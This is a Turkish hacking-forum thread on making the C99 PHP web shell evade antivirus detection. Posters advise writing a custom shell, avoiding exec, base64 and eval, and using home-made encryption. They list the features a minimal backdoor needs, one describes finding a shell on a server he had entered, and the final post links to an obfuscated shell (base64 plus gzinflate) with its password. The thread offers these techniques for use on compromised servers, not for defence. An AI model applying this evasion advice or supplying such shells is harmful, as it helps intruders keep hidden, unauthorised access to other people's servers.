Forum
Aktif konular
Üyeler
Kurallar
Arama
C99 Shell Tanınmaz Yapmak C99 Shell Tanınmaz Yapmak
-
merhaba arkadaşlar c99 shel i nasıl av lerden kaçırarak tanınmaz yapabilrim
-
o baya kasar hocam ne kadar shell varsa hemen hemen hepsi yakalanıyor.. Hatta bazen siteler bile c99 u engelliyor alternatiflere yöneliyoruz..
-
kendin kodlarsan yakalanmaz,
exec, base64 , urlencode, eval tarzı fonkisyonları kullanmazsan siksen yakalayamaz.
Sonuçda arama yapan sistemde bir yazılım, belirli algoritmaları varmı diye kontrol eder, varsa shell olarak nitelendirir.
En iyisi belirli bir scripte göre kendin bunu yapabilmen, standart kodlamalar yapabilirsin... normal php tag ları ile.
Yoksa yakalanmama gibi durumun sadece şifreleme ile olur oda base64 felan değil kendi şifreleme algoritman olabilir.
Şifreyi çözerkende tabi yukaruda bahsettiğin en basit tagları kullanmaman gerekir.
Yakalanmayan shell ancak böyle olur.. :))
-
kısaca zor iş yani .)
-
Yoo zor değil,
Basitçe sana gereken,
Dosya listeme fonksiyonu, (php dosyasının atıldığı yerden başlayıp tüm klasör ve alt php dosyalarını liste olarak basması)
Dosyaya basıldığında o dosya yolu ile içindekilerin listelenmesi.
Dosyaya düzenle dediğinde dosya içeriğini sana textareada göstermesi ve kaydet dediğinde içine kaydetmesi.
c99 gibi shell ler, linux kodlarının çalışmasını, daha alt dizinlerin listelenmesini .pwd dosyalarının kırılmasını, felan destekler. Yada root olmaya çalışmanıza yardımcı bir kaç fonksiyon ve arayüz sağlar.
benim için bunlar önemsiz diyosanız sıkıntı yoktur ;)
yani kısacası o kadarda zor değil basit bir sistem yapılabilir. Ama tabiki r57 c99 gibi etkili olmaz ama yakalanmazda.
Kolay gelsin...
Ama bak bir şey var pl. :)) perl içinde de yapabilirsin... Perl etkinse sunucuda perl kodlaması ile rahat bir şekilde yapabilirsin.
ama sunucu pl dosyalarınıda kontrol eder sanırım bilemiyorum çok fazla bilgin yok bir sunucuya girdiğimde başka bir adam koymuştu onu...
Sadece dosya upload ve ssh kodları çalıştırma yapıyordu...
Kolay gelsin :))
-
kod bilgim olsa zaten yaparım . ancak kod bilgim yok dosyaları listelesin download upload özelligi olsun yeterli olur sql filangerekmez zaten.
-
Download özelliğini aktif yapman için o sunucuda zlip di sanırım zipleme işleminin açık olması gerekir. (php dosyaları için) belki başka yoluda vardır ama sanmıyorum.
Sen doyaları seçip indir dediğinde hepsini bir zipler sana download verir.
Bu zordur yani, her sunucuda açık değildir hatta bir çoğunda kapalıdır.
Bunun yerine php dosyaları düzenle diyip manüel olarak kendinde aynı dosyaları oluşturup içine kopyalayabilirsin...
-
SnipeTR bunu yazdı
Download özelliğini aktif yapman için o sunucuda zlip di sanırım zipleme işleminin açık olması gerekir. (php dosyaları için) belki başka yoluda vardır ama sanmıyorum.
Sen doyaları seçip indir dediğinde hepsini bir zipler sana download verir.
Bu zordur yani, her sunucuda açık değildir hatta bir çoğunda kapalıdır.
Bunun yerine php dosyaları düzenle diyip manüel olarak kendinde aynı dosyaları oluşturup içine kopyalayabilirsin...
tamam güzel diyorsunda kod bilgim yok sen yazabilirmisin
-
ElizaBeTH bunu yazdıSnipeTR bunu yazdı
Download özelliğini aktif yapman için o sunucuda zlip di sanırım zipleme işleminin açık olması gerekir. (php dosyaları için) belki başka yoluda vardır ama sanmıyorum.
Sen doyaları seçip indir dediğinde hepsini bir zipler sana download verir.
Bu zordur yani, her sunucuda açık değildir hatta bir çoğunda kapalıdır.
Bunun yerine php dosyaları düzenle diyip manüel olarak kendinde aynı dosyaları oluşturup içine kopyalayabilirsin...
tamam güzel diyorsunda kod bilgim yok sen yazabilirmisin
ahahha :D yazarsa bir ilk olur :) snipeTR nin zaman problemmi var o yüzden baya zor :D
-
Gençliğimde casus15.php diye shell yazmıştım. Hakkında kısmını okudukça hala utanırım haıoejhaıfkeafhkjae.
-
rasgtele string + base64 + gzinflate()
sifrelenmiş $hell;
http://www.solidfiles.com/d/08a1986bff/
shell'e giris sifresi: muahaha
____
KrypT asşdğpfldgksdfho
ZINDIK tarafından 26/Şub/13 18:43 tarihinde düzenlenmiştir
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Cevapla